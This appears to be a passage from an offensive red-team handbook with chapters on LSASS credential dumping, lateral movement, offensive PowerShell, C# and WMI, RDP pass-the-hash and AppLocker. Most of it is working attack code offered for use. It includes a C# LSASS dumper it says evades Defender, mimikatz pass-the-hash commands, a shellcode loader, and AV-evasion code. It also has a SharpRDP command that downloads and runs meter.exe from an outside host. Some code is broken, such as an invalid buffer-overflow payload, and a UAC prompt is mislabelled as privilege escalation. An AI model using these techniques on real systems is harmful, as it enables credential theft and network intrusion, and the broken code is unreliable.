Being a Red Teamer, we should think out of the box so I decided to write a program again with some tweaks, now this time I used Network Share Drive to dump the file:

{% code overflow="wrap" %}

```powershell
using System;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;

class MiniDumpUtility
{
    [Flags]
    public enum MiniDumpType
    {
        MiniDumpNormal = 0x00000000,
        MiniDumpWithDataSegs = 0x00000001,
        MiniDumpWithFullMemory = 0x00000002,
        MiniDumpWithHandleData = 0x00000004,
        // ... other options
    }

    [DllImport("dbghelp.dll", SetLastError = true)]
    private static extern bool MiniDumpWriteDump(IntPtr hProcess, int processId, SafeHandle hFile, MiniDumpType dumpType, IntPtr exceptionParam, IntPtr userStreamParam, IntPtr callbackParam);

    static void Main()
    {
        Process[] processes = Process.GetProcessesByName("lsass");
        if (processes.Length == 0)
        {
            Console.WriteLine("lsass is not running.");
            return;
        }
        Process process = processes[0];

        Console.WriteLine("Please enter the network path to save the dump file (e.g., \\\\server\\share):");
        string networkPath = Console.ReadLine();
        Console.WriteLine("Please enter the username:");
        string username = Console.ReadLine();
        Console.WriteLine("Please enter the password:");
        string password = Console.ReadLine();

        // Construct the full path for the network dump
        string networkFullPath = Path.Combine(networkPath.TrimEnd('\\'), process.ProcessName + ".dmp");

        // Map the network drive using the provided credentials
        ExecuteCommand("net use " + networkPath + " /user:" + username + " \"" + password + "\"");

        // Create the dump file directly on the network path
        using (FileStream dumpFile = new FileStream(networkFullPath, FileMode.Create))
        {
            bool result = MiniDumpWriteDump(process.Handle, process.Id, dumpFile.SafeFileHandle, MiniDumpType.MiniDumpWithFullMemory, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero);
            if (!result)
            {
                Console.WriteLine("Failed to create dump file. Error: " + Marshal.GetLastWin32Error());
                // Attempt to unmap the network drive even if the dump creation failed
                ExecuteCommand("net use " + networkPath + " /delete");
                return;
            }
        }

        Console.WriteLine("Dump file successfully saved to: " + networkFullPath);

        // Disconnect the network drive
        ExecuteCommand("net use " + networkPath + " /delete");
    }

    static void ExecuteCommand(string command)
    {
        ProcessStartInfo startInfo = new ProcessStartInfo("cmd.exe", "/C " + command)
        {
            CreateNoWindow = true,
            UseShellExecute = false,
            RedirectStandardOutput = true,
            RedirectStandardError = true
        };

        using (Process processCmd = new Process { StartInfo = startInfo })
        {
            processCmd.Start();
            processCmd.WaitForExit();
        }
    }
}

```

{% endcode %}

#### Brief about this code

This C# code snippet defines a class MiniDumpUtility that uses a platform invocation service to call the MiniDumpWriteDump function from the Windows dbghelp.dll. The function is used to create a dump file for a running process, which is a snapshot of the process's memory at a given time.

The MiniDumpWriteDump function is declared with the DllImport attribute, specifying that the method is implemented in an external DLL, in this case, dbghelp.dll. The SetLastError = true attribute property allows the program to retrieve detailed error information if the function call fails.

The method's signature includes several parameters: a handle to the process (hProcess), the process identifier (processId), a handle to the file where the dump will be written (hFile), and the type of dump to be performed (dumpType). Additional parameters allow specifying information for exception handling and callbacks, but they are set to IntPtr.Zero in the code, indicating they are not used.

The MiniDumpUtility class' Main method prompts the user for credentials and a network path, maps a network drive, and attempts to write a memory dump of the lsass process to this location. If successful, the dump file path is outputted to the console; otherwise, an error message is displayed. After the operation, the network drive is disconnected. Auxiliary functions are used to execute command-line commands to map and disconnect the network drive.

So basically this Dump.exe (or whatever name you give it at the time of compiling this code) will dump the LSASS process by asking you to save the LSASS.dmp in the destination system using the Network Path and valid credentials of that system where you are going to save this file (LSASS.dmp).

Once you give all the details, LSASS.dmp will be saved to the network smb’s destination.

**Here is the POC:**

Compile the code using:

```powershell
.\csc.exe /out:CI_ProcDump.exe "E:\Path_to_CI_ProcDump.cs”
```

{% hint style="info" %}
Execute the same and voila, you got this file on your local system:
{% endhint %}

<figure><img src="/files/87JYnzMV5akSX9IAe3rh" alt=""><figcaption><p><em>We successfully dumped the lsass.dmp file</em></p></figcaption></figure>

{% hint style="info" %}
As you can see in the screenshot, we were able to export the LSASS.dmp even though MS Defender was running on the full detection and prevention mode…
{% endhint %}

Now we will dump the credentials from this file on our machine where mimikatz.exe exists:

<figure><img src="/files/fcVkoX8SaFkhluKBmiTq" alt=""><figcaption><p><em><strong>Now</strong> we are able to dump the Credentials from the offline file (lsass.dmp) using mimikatz</em></p></figcaption></figure>

We can see Administrator’s password in plain text along with the NTLM hash:

<figure><img src="/files/n7LYb83Ql0w72eSbtO0v" alt=""><figcaption><p><em>Dumped Administrator's Password with NTLM Hash</em></p></figcaption></figure>

## Just Local Admin or Domain User/Admin as well?

Memory protection is paramount because it acts as a safeguard against unauthorized access to sensitive information. Tools like Mimikatz, or even more advanced custom-developed tools (we have seen in this chapter), have the capability to extract sensitive credentials from memory, such as those of local administrators and users. However, their potency doesn't end there; they can also potentially compromise domain user and administrator accounts. These accounts often have elevated privileges, which, if obtained by an attacker, could lead to a full-scale compromise of the entire domain, allowing for lateral movement and access to critical resources across the network. Ensuring memory protection is robust helps mitigate the risk of such credential harvesting and is a key component in the *defense-in-depth* security strategy that is crucial for maintaining organizational and data security in today's interconnected environment.

In this chapter, we explored one clever way to stay under the radar of antivirus and EDR systems. But remember, this is just the tip of the iceberg. There's a whole world of other methods out there, each with its own way to navigate around security barriers without detection. To effectively navigate through the defenses of advanced security systems, one must cultivate a robust skill set. This includes a deep understanding of system vulnerabilities, proficiency in programming languages for script writing and tool development, expertise in network protocols, and familiarity with the inner workings of operating systems. Mastery over encryption and obfuscation techniques, alongside continuous learning to stay ahead of evolving security measures, is also essential. Equipped with these tools and knowledge, one can approach the challenge of security evasion with confidence.

As you continue learning, you'll uncover many more techniques like this.

### Beyond credentials dumping

Lateral movement in cyber-attacks is the process where an attacker moves from one compromised host to another within a network. This is typically done after gaining initial access and is aimed at achieving specific goals such as gaining elevated privileges, accessing sensitive data, or establishing persistence within the network. Here's an in-depth look at the types of lateral movement, the activities involved, and some examples.

### Lateral Movement Tools and Techniques

**Pass-the-Hash (PtH):** This technique involves using a hash of a user's password rather than the plaintext password itself to authenticate to other systems on the network. For example, an attacker might dump NTLM password hashes from one machine and use them to authenticate to other machines without needing to crack the hashes to obtain the actual passwords.

**Pass-the-Ticket (PtT):** Similar to PtH, PtT involves stealing Kerberos tickets (such as TGTs or service tickets) and using them to authenticate to resources within a Windows domain.

**Forged Authentication Requests:** Attackers can create fraudulent authentication requests if they've compromised credentials that allow them to forge requests, such as SAML tokens in cloud environments.

**Remote Services:** Attackers can use remote services like Remote Desktop Protocol (RDP), Secure Shell (SSH), or WinRM to connect to other machines in the network using stolen credentials.

**Use of Legitimate Credentials:** Through methods like social engineering, attackers may gain legitimate user credentials that allow them to log into systems directly.

**Reconnaissance:** Once on a network, attackers often perform reconnaissance to discover network topology, identify targets, and plan their movements. Tools like nmap or Advanced IP Scanner can be used for network scanning.

**Credential Dumping:** Tools like Mimikatz are used to extract credentials and tokens from memory, which can then be used to access other systems.

**Session Hijacking:** Taking over existing authenticated sessions can be a stealthy way for attackers to move laterally.

**Creating Backdoors:** Attackers may establish new user accounts or install their own remote access tools to ensure continued access to the network.

**Privilege Escalation:** Moving laterally often requires higher privileges, which attackers can gain through exploits or by using credentials with higher access levels.

**Execution of Payloads:** With access to a new host, attackers can execute payloads that may establish a command and control channel or perform actions directly on the target system.

**Examples:**

{% hint style="info" %}
Example 1: Pass-the-Hash with Mimikatz
{% endhint %}

After gaining access to a host, an attacker dumps the hashes:

```powershell
mimikatz # sekurlsa::logonpasswords
```

Output might include NTLM hashes, which the attacker can use:

{% code overflow="wrap" %}

```powershell
mimikatz # sekurlsa::pth /user:Admin /domain:corporate /ntlm:{hash} /run:"mstsc /restrictedadmin"
```

{% endcode %}

This command uses the NTLM hash to start a remote desktop session without the plaintext password.

{% hint style="info" %}
Example 2: Remote Service Execution
{% endhint %}

Using a tool like PsExec to run a command on a remote machine:

```powershell
PsExec.exe \\targetMachine -u domain\username -p password cmd.exe
```

This would open a command shell on the targetMachine using the provided credentials.

### More on Lateral Movement with Powershell:

Lateral movement using PowerShell is a sophisticated technique that attackers leverage due to PowerShell's flexibility and deep integration with Windows environments. Below are detailed examples of advanced lateral movement techniques using PowerShell scripts.

### PowerShell Remoting

PowerShell remoting allows for running commands on remote systems. Attackers who have gained credentials can use this feature to execute commands without needing to drop files on the remote system.

Example:

{% code overflow="wrap" %}

```powershell
# Using PowerShell remoting to start a process on a remote machine
$cred = Get-Credential
Invoke-Command -ComputerName TargetComputerName -Credential $cred -ScriptBlock {
    Start-Process "C:\Path\To\Malicious\File.exe"
}

```

{% endcode %}

Output: The output would be the result of the Start-Process command on the remote machine, typically no output upon successful execution, or error messages if the execution fails.

### WMI with PowerShell

Windows Management Instrumentation (WMI) can be used for executing code remotely. PowerShell provides a straightforward interface to interact with WMI.

{% code overflow="wrap" %}

```powershell
# Starting a remote process using WMI with PowerShell
$cred = Get-Credential
$process = @{ 
    Path = "C:\Path\To\Malicious\File.exe"
}
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList $process.Path -ComputerName TargetComputerName -Credential $cred

```

{% endcode %}

Output: The output will be the return value of the Invoke-WmiMethod call, typically including the ReturnValue and ProcessId of the process started on the remote system.

### Remote Service Creation with PowerShell

Creating a service on a remote machine can be a way to execute code, especially if the service is set to start automatically.

Example:

{% code overflow="wrap" %}

```powershell
# Using PowerShell to create a new service on a remote machine
$cred = Get-Credential
New-Service -Name "Updater" -BinaryPathName "C:\Path\To\Malicious\File.exe" -ComputerName TargetComputerName -Credential $cred
```

{% endcode %}

Output: The output is typically confirmation that the new service has been created.

## Conclusion

Successfully compromising a system opens up multiple avenues for an attacker to deepen their foothold within a network. By employing a combination of scanning, exploitation, credential access, lateral movement, persistence, exfiltration, and covering tracks, attackers can conduct extensive intrusions, often undetected. Each step requires careful execution to avoid detection and to maintain access for as long as needed to achieve their goals.

Lateral movement is a critical phase in an attack where the threat actor seeks to expand their foothold within a network. It often involves the use of stolen credentials and the exploitation of legitimate network functions and protocols. Detecting and responding to lateral movement requires a combination of strong authentication policies, network segmentation, monitoring and detection tools, and rapid incident response capabilities.

Advanced lateral movement in PowerShell can take many forms and leverage different parts of the Windows infrastructure. These PowerShell-based lateral movement techniques are powerful due to their ability to execute without direct file transfers, often leaving a minimal footprint.

{% hint style="success" %}
**Expert Tip**

In the rapidly evolving world of cybersecurity, attack methodologies are becoming increasingly sophisticated, leading to more advanced detection and prevention techniques. As adversaries develop new tactics, cybersecurity professionals must stay ahead of the curve. One way to do this is by enhancing your expertise with advanced Reverse Engineering Techniques, particularly focusing on Windows binaries.

Delving into the intricate details of Windows binaries, including a deep understanding of System Calls and APIs, is crucial in today's cybersecurity landscape. This expertise allows you to effectively circumvent modern security systems such as Antivirus software (AVs) and Endpoint Detection and Response systems (EDRs). These systems have matured significantly, employing complex algorithms and heuristic analysis to detect and mitigate threats. By understanding the inner workings of these systems and the binaries they aim to protect, you can develop strategies to bypass these defenses without triggering alarms.

&#x20;

Reverse engineering equips you with the ability to dissect and analyze how applications and malware operate. This skill is invaluable for uncovering vulnerabilities, understanding malware propagation methods, and developing effective countermeasures. Additionally, it aids in forensics, allowing you to trace back the steps of an attacker, understand their techniques, and potentially identify their origins.

&#x20;

Moreover, this knowledge goes beyond technical prowess; it provides strategic insights that are vital for navigating and overcoming sophisticated cybersecurity defenses. In an environment where attackers continually adapt and evolve, the ability to think like an attacker and anticipate their moves becomes a key asset.

&#x20;

Furthermore, proficiency in reverse engineering enhances your broader skillset in cybersecurity. It fosters a more comprehensive approach to security, encouraging a proactive rather than reactive stance. By understanding the potential loopholes and backdoors that attackers might exploit, you can better secure systems and networks against emerging threats.

&#x20;

In summary, as cybersecurity defenses grow more sophisticated, so must the techniques and knowledge of those entrusted with defending digital assets. Investing in advanced skills like reverse engineering not only broadens your technical capabilities but also empowers you with the strategic acumen needed to navigate and neutralize complex cyber threats effectively.
{% endhint %}


# Offensive PowerShell

**PowerShell** is a powerful scripting language and command-line shell used predominantly by system administrators for automation and configuration management. However, its capabilities make it a valuable tool for red teamers to conduct penetration testing, exploit vulnerabilities, and maintain persistence within a target environment.

### Why PowerShell is Useful for Red Teaming

**Pre-installed and Trusted**: PowerShell is natively installed on Windows operating systems, and its legitimate use by administrators makes it less likely to raise immediate suspicion during red teaming activities.

**Automation and Scripting**: The ability to automate complex tasks with simple scripts makes PowerShell an ideal choice for red teamers. Tasks such as reconnaissance, exploitation, and post-exploitation activities can be scripted to save time and reduce manual effort.

**Integration with .NET**: PowerShell’s integration with the .NET framework allows red teamers to leverage a vast library of functions and classes, expanding the scope of their capabilities.

**Remoting Capabilities**: PowerShell remoting enables red teamers to execute commands on remote systems, making lateral movement within a network more efficient.

**Living-off-the-Land (LotL) Techniques**: Using PowerShell, red teamers can leverage existing tools and scripts within the target environment to achieve their objectives, minimizing the need to introduce new, potentially detectable software.

### Examples and Usage

**Example 1: Gathering System Information**

This script gathers detailed information about the computer, including hardware, operating system, and network configurations.

```powershell
Get-ComputerInfo
```

**Output:**

<figure><img src="/files/8wRYL9A7Ai8HCL78Nq5C" alt=""><figcaption></figcaption></figure>

#### **Example 2: Downloading and Executing a Payload**

This script downloads a payload from a specified URL and executes it.

```powershell
Invoke-WebRequest -Uri http://example.com/payload.exe -OutFile C:\Temp\payload.exe
Start-Process -FilePath C:\Temp\payload.exe
```

<figure><img src="/files/PP8hBx3A6MMwe8YV0ue9" alt=""><figcaption></figcaption></figure>

#### Some useful collection of Offensive Powershell Scripts:

{% embed url="<https://github.com/sartlabs/OffensiveTools/tree/main/Offensive_Powershell>" %}

{% hint style="info" %}
The collection is updated on a regular basis!
{% endhint %}


# Offensive C Sharp (C#)

### Introduction to Offensive C Sharp

**C Sharp** is a powerful and versatile language for an Offensive Red Teamers. It allows for the creation of sophisticated tools and exploits that can bypass modern security defenses. Unlike traditional languages used in offensive security, C Sharp provides the advantages of a robust development environment, extensive libraries, and seamless integration with Windows environments. This makes it an ideal choice for developing custom security tools, payloads, and scripts that can be used in red teaming and penetration testing exercises.

### Why Offensive C Sharp is Awesome

**Robust Development Environment**

* Visual Studio and the .NET framework provide a powerful and user-friendly development environment, making it easier to write, debug, and maintain complex code.

**Extensive Libraries and APIs**

* C Sharp offers access to a vast array of libraries and APIs, allowing developers to create sophisticated tools that can interact with various system components and network protocols.

**Seamless Windows Integration**

* As a language developed by Microsoft, C Sharp integrates seamlessly with Windows operating systems, making it an ideal choice for developing tools that target Windows environments.

**Performance and Efficiency**

* C Sharp provides high performance and efficiency, allowing for the development of tools that can operate quickly and effectively, even in resource-constrained environments.

**Growing Community and Resources**

* The C Sharp community is continuously growing, with numerous resources, forums, and tutorials available to help developers enhance their skills and stay updated with the latest trends and techniques in offensive security.

#### What an Offensive Red Teamer Can Do with C Sharp

C Sharp (C#) offers a wealth of capabilities for offensive red teamers, allowing them to craft sophisticated tools and techniques to test and bypass security measures. Here are some specific activities and examples of what a red teamer can achieve using C Sharp:

### **Payload Development**

Example: Custom Shellcode Loader

{% code overflow="wrap" %}

```powershell
using System;
using System.Runtime.InteropServices;

namespace OffensiveCSharp
{
    class ShellcodeLoader
    {
        [DllImport("kernel32.dll")]
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
        [DllImport("kernel32.dll")]
        static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
        [DllImport("kernel32.dll")]
        static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

        static void Main(string[] args)
        {
            byte[] shellcode = new byte[] {
                // Add your shellcode here
            };

            IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length, 0x1000, 0x40);
            Marshal.Copy(shellcode, 0, addr, shellcode.Length);
            IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
            WaitForSingleObject(hThread, 0xFFFFFFFF);
        }
    }
}

```

{% endcode %}

**Output:**

* Shellcode is loaded and executed in memory, demonstrating a basic shellcode loader.

**How to Compile:**

1. Save the code to a file named `ShellcodeLoader.cs`.
2. Open a command prompt and navigate to the directory containing `ShellcodeLoader.cs`.
3. Run the following command to compile the code:

{% code overflow="wrap" %}

```powershell
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:D:\RTG\ShellcodeLoader.exe D:\RTG\ShellcodeLoader.cs
```

{% endcode %}

4. The compiled executable will be named `ShellcodeLoader.exe` and located in `D:\RTG`.

**Expected Output Screenshot:**

* No visible output, but the shellcode should execute in memory.

### **Exploit Development**

Example: Buffer Overflow Exploit

{% code overflow="wrap" %}

```powershell
using System;
using System.Net;
using System.Net.Sockets;
using System.Text;

namespace OffensiveCSharp
{
    class BufferOverflowExploit
    {
        static void Main(string[] args)
        {
            string target = "192.168.1.100";
            int port = 8080;
            string payload = new string('A', 260) + "B" * 4 + "\x90\x90\x90\x90"; // Example buffer overflow payload

            try
            {
                TcpClient client = new TcpClient(target, port);
                NetworkStream stream = client.GetStream();
                byte[] data = Encoding.ASCII.GetBytes(payload);
                stream.Write(data, 0, data.Length);

                byte[] responseData = new byte[256];
                int bytes = stream.Read(responseData, 0, responseData.Length);
                Console.WriteLine("Received: {0}", Encoding.ASCII.GetString(responseData, 0, bytes));

                stream.Close();
                client.Close();
            }
            catch (Exception e)
            {
                Console.WriteLine("Exception: {0}", e);
            }
        }
    }
}
```

{% endcode %}

**Output:**

* The buffer overflow exploit is sent to the target server, and the response from the server is displayed, demonstrating the successful interaction with the target system.

**How to Compile:**

1. Save the code to a file named `BufferOverflowExploit.cs`.
2. Open a command prompt and navigate to the directory containing `BufferOverflowExploit.cs`.
3. Run the following command to compile the code:

{% code overflow="wrap" %}

```powershell
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:D:\RTG\BufferOverflowExploit.exe D:\RTG\BufferOverflowExploit.cs
```

{% endcode %}

4. The compiled executable will be named `BufferOverflowExploit.exe` and located in `D:\RTG`.

### **Post-Exploitation Activities**

Example: Privilege Escalation

```powershell
using System;
using System.Diagnostics;

namespace OffensiveCSharp
{
    class PrivilegeEscalation
    {
        static void Main(string[] args)
        {
            try
            {
                ProcessStartInfo procInfo = new ProcessStartInfo();
                procInfo.UseShellExecute = true;
                procInfo.WorkingDirectory = Environment.CurrentDirectory;
                procInfo.FileName = "cmd.exe";
                procInfo.Verb = "runas"; // Run as administrator

                Process proc = Process.Start(procInfo);
                proc.WaitForExit();
            }
            catch (Exception e)
            {
                Console.WriteLine("Exception: {0}", e);
            }
        }
    }
}
```

**Output:**

* A command prompt with administrative privileges is launched, demonstrating successful privilege escalation.

**How to Compile:**

1. Save the code to a file named `PrivilegeEscalation.cs`.
2. Open a command prompt and navigate to the directory containing `PrivilegeEscalation.cs`.
3. Run the following command to compile the code:

<pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell"><strong>C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:D:\PrivilegeEscalation.exe D:\priv.cs
</strong></code></pre>

<figure><img src="/files/p5jWTFTISSgjmZpisnce" alt=""><figcaption><p><em>cmd.exe with Admin priv. has been popped up</em></p></figcaption></figure>

{% embed url="<https://github.com/sartlabs/OffensiveTools/blob/main/PrivilegeEscalation.exe>" %}

**Bypassing Security Mechanisms**

Example: Antivirus Evasion

{% code overflow="wrap" %}

```powershell
 using System;
using System.Text;
using System.Security.Cryptography;

namespace OffensiveCSharp
{
    class AntivirusEvasion
    {
        static void Main(string[] args)
        {
            string command = "calc.exe"; // Command to execute
            string key = "thisisaverysecret"; // Ensure the key length is 16 bytes
            string salt = "somesaltvalue"; // Ensure the salt length is at least 8 bytes
            string encryptedCommand = Encrypt(command, key, salt);

            Console.WriteLine("Encrypted Command: " + encryptedCommand);

            string decryptedCommand = Decrypt(encryptedCommand, key, salt);
            Console.WriteLine("Decrypted Command: " + decryptedCommand);

            System.Diagnostics.Process.Start(decryptedCommand);
        }

        public static string Encrypt(string text, string key, string salt)
        {
            byte[] textBytes = Encoding.UTF8.GetBytes(text);
            byte[] keyBytes = new Rfc2898DeriveBytes(key, Encoding.UTF8.GetBytes(salt), 1000).GetBytes(16);
            byte[] encryptedBytes;

            using (Aes aes = Aes.Create())
            {
                aes.Key = keyBytes;
                aes.GenerateIV();
                aes.Mode = CipherMode.CBC;

                using (ICryptoTransform encryptor = aes.CreateEncryptor())
                {
                    encryptedBytes = encryptor.TransformFinalBlock(textBytes, 0, textBytes.Length);
                }

                byte[] result = new byte[aes.IV.Length + encryptedBytes.Length];
                Array.Copy(aes.IV, 0, result, 0, aes.IV.Length);
                Array.Copy(encryptedBytes, 0, result, aes.IV.Length, encryptedBytes.Length);

                return Convert.ToBase64String(result);
            }
        }

        public static string Decrypt(string encryptedText, string key, string salt)
        {
            byte[] encryptedBytes = Convert.FromBase64String(encryptedText);
            byte[] keyBytes = new Rfc2898DeriveBytes(key, Encoding.UTF8.GetBytes(salt), 1000).GetBytes(16);
            byte[] iv = new byte[16];
            byte[] textBytes = new byte[encryptedBytes.Length - 16];

            Array.Copy(encryptedBytes, 0, iv, 0, iv.Length);
            Array.Copy(encryptedBytes, iv.Length, textBytes, 0, textBytes.Length);

            using (Aes aes = Aes.Create())
            {
                aes.Key = keyBytes;
                aes.IV = iv;
                aes.Mode = CipherMode.CBC;

                using (ICryptoTransform decryptor = aes.CreateDecryptor())
                {
                    byte[] result = decryptor.TransformFinalBlock(textBytes, 0, textBytes.Length);
                    return Encoding.UTF8.GetString(result);
                }
            }
        }
    }
}   
```

{% endcode %}

**Output:**

* The command `calc.exe` is encrypted and then decrypted before execution, demonstrating basic antivirus evasion by avoiding direct detection of the command string.

**How to Compile:**

1. Save the code to a file named `AntivirusEvasion.cs`.
2. Open a command prompt and navigate to the directory containing `AntivirusEvasion.cs`.
3. Run the following command to compile the code:

{% code overflow="wrap" %}

```powershell
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:D:\RTG\AntivirusEvasion.exe D:\RTG\AntivirusEvasion.cs
```

{% endcode %}

4. The compiled executable will be named `AntivirusEvasion.exe` and located in `D:\RTG`

<figure><img src="/files/Yud0e3esAQwGIkj3RV9V" alt=""><figcaption><p><em><strong>Calc.exe popped up as a result of the encrypted command execution.</strong></em></p></figcaption></figure>

{% embed url="<https://github.com/sartlabs/OffensiveTools/blob/main/AntivirusEvasion.exe>" %}


# Offensive WMI

**Windows Management Instrumentation (WMI)** is a powerful feature of the Windows operating system that provides a standardized interface for accessing and managing various components of a computer. It is extensively used for administrative purposes, but its capabilities can also be leveraged for offensive security purposes, making it a valuable tool for red teamers.

#### Why WMI is Useful for Red Teaming

**Remote Management**: WMI allows for the execution of commands and scripts on remote systems, facilitating lateral movement within a network without the need for additional tools.

**Stealth and Evasion**: WMI operates using legitimate Windows processes, making it less likely to trigger security alerts compared to traditional malware or hacking tools.

**Automation and Scripting**: WMI can be scripted using languages such as PowerShell or VBScript, enabling the automation of complex tasks and reducing manual intervention.

**Extensive Functionality**: WMI can interact with various system components, such as file systems, registry, processes, services, and network settings, providing comprehensive control over the target environment.

#### WMI Architecture

Below is an image depicting the WMI architecture:

Credit: Microsoft's Official Website

<figure><img src="/files/zwYaiFIm3GhMgvdnOAaW" alt=""><figcaption><p><em>WMI Architecture taken from Microsoft's Official Page</em></p></figcaption></figure>

### Examples and Usage

**Example 1: Querying System Information**

This script queries detailed information about the operating system on the target machine.

```powershell
Get-WmiObject -Class Win32_OperatingSystem
```

<figure><img src="/files/SJ65OvSTkwxc3mqgBrpW" alt=""><figcaption><p><em>WMI command to check the OS details</em></p></figcaption></figure>

#### Example 2: Executing a Remote Command

This script creates a new process (Notepad) on the target machine using WMI.

```powershell
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "notepad.exe"
```

<figure><img src="/files/zEdEUEJAqoS8ttIKNEbA" alt=""><figcaption><p><em>notepad is opened using WMI command</em></p></figcaption></figure>

#### Example 4: Enumerating Running Processes

This script lists all running processes on the target machine.

{% code overflow="wrap" %}

```powershell
$targetMachine = "TARGET_MACHINE_NAME"  # Replace with the actual target machine name or IP address

# Get running processes information
Get-WmiObject -Class Win32_Process -ComputerName $targetMachine | Select-Object Name, ProcessId, CommandLine
```

{% endcode %}

This script uses WMI to query the `Win32_Process` class on the target machine and retrieves information about running processes, including the process name, process ID, and command line.

<figure><img src="/files/BL6OkVUis85uhmzKLYri" alt=""><figcaption><p><em>WMI using PowerShell</em></p></figcaption></figure>

#### Conclusion

Using WMI for offensive purposes allows red teamers to execute commands, create persistence mechanisms, and gather valuable information from target machines while maintaining a low profile. These examples demonstrate the versatility of WMI in red teaming scenarios, highlighting its potential for stealthy and efficient operations.


# RDP login with NTLM Hash

| RDP login using NTLM Hash is absolutely possible. Just keep in mind that the target RDP port must be reachable from our Parrot attacking machine. So if we have a valid NTLM Hash of any user (Mostly Admin), we can use that hash to login through RDP using xfreerdp: |
| ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |

```bash
xfreerdp /u:admin /pth:2892d26cdf84d7a70e2eb3b9f05c425e /v:192.168.69.6 /cert-ignore
```

<figure><img src="/files/GubVZaUBQkPIiT4pwwKr" alt=""><figcaption><p><em>Remote Desktop taken through NTLM Hash</em></p></figcaption></figure>

{% hint style="info" %}
**Enable RDP pass the hash on the Target Machine for example purpose:**&#x20;

New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DisableRestrictedAdmin" -Value "0" -PropertyType DWORD -Force

**Then to pass the hash with RDP to Target\_Machine:**

proxychains xfreerdp /v:172.16.X.194 /u:administrator /pth:f99529e42ee77dc4704c568ba9320a34 +compression +clipboard /dynamic-resolution +toggle-fullscreen /cert-ignore
{% endhint %}


# RDP as a Console

Although RDP is most often associated with the mstsc GUI client, it can also be used as a command-line tool. This technique reduces our overhead while still relying on the RDP protocol, which will often blend in well with typical network traffic.

The RDP application (mstsc.exe) builds upon the terminal services library mstscax.dll. This library exposes interfaces to both scripts and compiled code through COM objects.

SharpRDP is a C# application that uses uses the non-scriptable interfaces exposed by mstscax.dll to perform authentication in the same way as mstsc.exe.

Once authentication is performed, SharpRDP allows us to execute code through SendKeys. In this manner, no GUI access is required and setting up a reverse tunnel is unnecessary.

To demonstrate this, we’ll use the pre-compiled version of SharpRDP. We’ll specify the computername, username, and password along with the command to be executed. In this example, we’ll simply execute a reverse TCP shell using powershell:

{% embed url="<https://github.com/sartlabs/OffensiveTools/blob/main/SharpRDP.exe>" %}
*SharpRDP.exe*
{% endembed %}

{% code overflow="wrap" %}

```powershell
sharprdp.exe computername=appsrv01 command="powershell (New-Object System.Net.WebClient).DownloadFile('http://192.168.49.69/meter.exe','C:\Windows\Tasks\meter.exe'); C:\Windows\Tasks\meter.exe" username=corp1\dave password=lab
```

{% endcode %}

<figure><img src="/files/tjKc5eBoxqAi659VVoko" alt=""><figcaption><p><em>RDP taken using SharpRDP</em></p></figcaption></figure>


# Bypassing Windows AppLocker

Microsoft offers several built-in solutions for application whitelisting.

Before the advent of Windows 7, Microsoft rolled out the Software Restriction Policies (SRP) 423 solution for whitelisting applications. Although SRP is still available, it has been largely replaced by AppLocker, introduced with Windows 7 and continuing in Windows 10. AppLocker comprises the kernel-mode driver APPID.SYS and the APPIDSVC user-mode service. The APPIDSVC service handles the whitelisting rules and identifies applications based on callback notifications from APPID.SYS.

Having covered the foundational concepts of application whitelisting software, we will now proceed to set up whitelisting rules for AppLocker, which is among the more frequently used solutions. It is important to note that AppLocker is exclusive to the Enterprise and Ultimate editions of Windows, and is not available in Windows Professional and other versions.

### Configure and Enable Applocaker on Windows 2k19 DC at GP level:

<figure><img src="/files/AtIkY08Oios1SA20pnSf" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/NH3i4eO59PCy750GeUqS" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/k7CYtsKuzZ1nsQwH6RyN" alt=""><figcaption></figcaption></figure>

Create Default Rules:

<figure><img src="/files/Vm4OGehmYjQem0o8VVRR" alt=""><figcaption></figcaption></figure>

#### The other three categories have similar default rules. We’ll enable them to configure basic application whitelisting protection on our Windows 10 victim VM.

<figure><img src="/files/aX7hzldhoAAsz1PcoEGb" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/a6PNWALJqziw71XvYe4g" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/dGN3BltHQhIaVgYAzLYD" alt=""><figcaption></figcaption></figure>

Now we will block a particular program .exe (cmd.exe) execution at Domain GP level:

Click on Create New Rule:

<figure><img src="/files/qkKaCBFWWV0RhBleU3Av" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/mau7nfizeDUH93XQ7Zw4" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/xaqpIGkL7HsUX2xKrFPT" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/0tbQKz5A37TEPs7BdaJ7" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/clBgQSkFSZK2i7Ng11IL" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/QC0hBUILJtGDuJtp3jst" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/Gd9nIeoEEDA5DFUrgHEo" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/P7DoJs45FtA9vTJWZ7vn" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/LcHwLB2CLwv9akncdZXn" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/xdPm9TzCllxFp57Y2Ecy" alt=""><figcaption></figcaption></figure>

Once we have created all the default rules, we must close the Local Group Policy Editor, and run gpupdate /force from the admin command prompt to refresh the active group policies.

